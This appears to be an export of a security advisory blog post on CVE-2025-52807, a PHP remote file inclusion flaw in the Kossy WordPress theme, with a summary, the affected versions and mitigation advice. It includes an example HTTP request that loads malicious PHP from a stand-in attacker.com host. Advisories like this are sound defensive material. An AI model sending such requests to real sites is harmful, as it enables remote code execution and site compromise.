{"id":59322,"date":"2025-07-12T06:43:41","date_gmt":"2025-07-12T06:43:41","guid":{"rendered":""},"modified":"2025-10-03T12:32:37","modified_gmt":"2025-10-03T18:32:37","slug":"cve-2025-52807-php-remote-file-inclusion-vulnerability-in-apuswp-kossy-ecommerce-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52807-php-remote-file-inclusion-vulnerability-in-apuswp-kossy-ecommerce-wordpress-theme\/","title":{"rendered":"CVE-2025-52807: PHP Remote File Inclusion Vulnerability in ApusWP Kossy eCommerce WordPress Theme<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the rapidly evolving world of cybersecurity, the detection of new vulnerabilities remains a constant concern. The focus of this post is a recent discovery termed as CVE-2025-52807. This critical vulnerability<\/a> lies in the popular ApusWP Kossy – Minimalist eCommerce WordPress Theme and is categorized as a PHP Remote File Inclusion vulnerability. It affects a broad user base ranging from individual WordPress site owners to businesses operating on WordPress platforms<\/a>. The severity of this exploit is underscored by its high CVSS score of 8.1, indicating a significant risk of system<\/a> compromise or data leakage if not promptly addressed.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-52807
\nSeverity: Critical, CVSS score 8.1
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: Potential system compromise or data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

ApusWP Kossy – Minimalist eCommerce WordPress Theme<\/a> | n\/a – 1.45<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The root cause of this vulnerability lies in an improper control of filename for Include\/Require Statement in PHP Program within the ApusWP Kossy – Minimalist eCommerce WordPress<\/a> Theme. This flaw allows an attacker to include files from remote<\/a> servers, leading to the execution of malicious PHP code. The successful execution can lead to unauthorized<\/a> access and control of the system, potentially leading to system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that includes a malicious payload in the PHP include statement:<\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: vulnerable-site.com<\/code><\/pre>\n
In this example, the attacker has replaced the `file` parameter with a URL pointing to a remote server hosting malicious PHP code<\/a>. When the server processes this request, it unwittingly includes the malicious code from the remote server, leading to the execution of the attacker’s code<\/a> on the target system.<\/p>\n
Mitigation Measures<\/strong><\/p>\n
To mitigate this vulnerability, users should apply the vendor-provided patch as soon as it becomes available. Until the patch is applied, users can utilize Web Application<\/a> Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures to detect and block attempts to exploit this vulnerability. Regularly updating and patching your systems can go a long way in enhancing your cybersecurity<\/a> posture.<\/p>\n","protected":false},"excerpt":{"rendered":"
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